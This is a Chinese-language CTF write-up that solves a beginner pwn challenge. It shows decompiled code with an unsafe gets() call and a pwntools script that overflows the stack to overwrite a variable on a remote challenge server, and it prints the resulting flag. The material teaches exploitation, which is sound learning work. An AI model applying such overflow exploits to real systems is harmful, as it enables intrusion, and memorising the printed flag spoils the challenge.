CTF最简单的入门题(栈溢出)
题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051&page=1
题目描述:只要知道你的年龄就能获得flag,但菜鸡发现无论如何输入都不正确,怎么办?
解题过程:
1、首先将附件下载并上传到linux系统里面
2、使用checksec检测附件里的可执行文件开启的各种安全机制
3、再用file命令看一下程序是什么文件类型
4、然后把文件拖到IDA里面,按F5,看一下main函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned int v5; // [rsp+8h] [rbp-18h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
puts("What's Your Birth?");
__isoc99_scanf("%d", &v5);
while ( getchar() != 10 )
;
if ( v5 == 1926 )
{
puts("You Cannot Born In 1926!");
result = 0LL;
}
else
{
puts("What's Your Name?");
gets(&v4);
printf("You Are Born In %d\n", v5);
if ( v5 == 1926 )
{
puts("You Shall Have Flag.");
system("cat flag");
}
else
{
puts("You Are Naive.");
puts("You Speed One Second Here.");
}
result = 0LL;
}
return result;
}
5、分析如下,如果想要执行第29行 system("cat flag");代码,那么要让v5 = 1926,可是如果第一次输入1926的话,就会直接跳过cat flag,那么就可以使用栈溢出,溢出点就在gets(&v4)函数,因为它没有对v4进行任何检查,在输入v4的时候通过栈溢出覆盖v5的值,让v5 = 1926,然后就可以cat flag了
6、查看栈区,发现v4到v5差0x20-0x18个字节
7、写exp
#调用pwntools库
from pwn import *
#地址和端口是在题目网址里点击获取在线场景得到的,地址可以是ip也可以是url
#remote用来建立远程链接
p = remote("220.249.52.133",30462)
#当程序输出What's Your Birth?之后,发送2333
p.sendlineafter("What's Your Birth?","2333")
#'a'*8代表把0x20到0x19的栈区都覆盖‘a',再覆盖一个64位的1926,就成功覆盖了0x18,也就是v5
#因为当前二进制可执行程序是64位的,所以要用p64
payload = 'a'*8+p64(1926)
#当程序输出What's Your Name?之后,发送payload
p.sendlineafter("What's Your Name?",payload)
#与当前程序进行交互,将控制权交给用户,这样就可以使用打开的shell了
p.interactive()
8、运行效果
- 这样就已经拿到flag(夺旗)
cyberpeace{95759a50c29f40a0302a4fb5a394dd6c}
- 文章中若有错误之处,请大佬在评论区回复我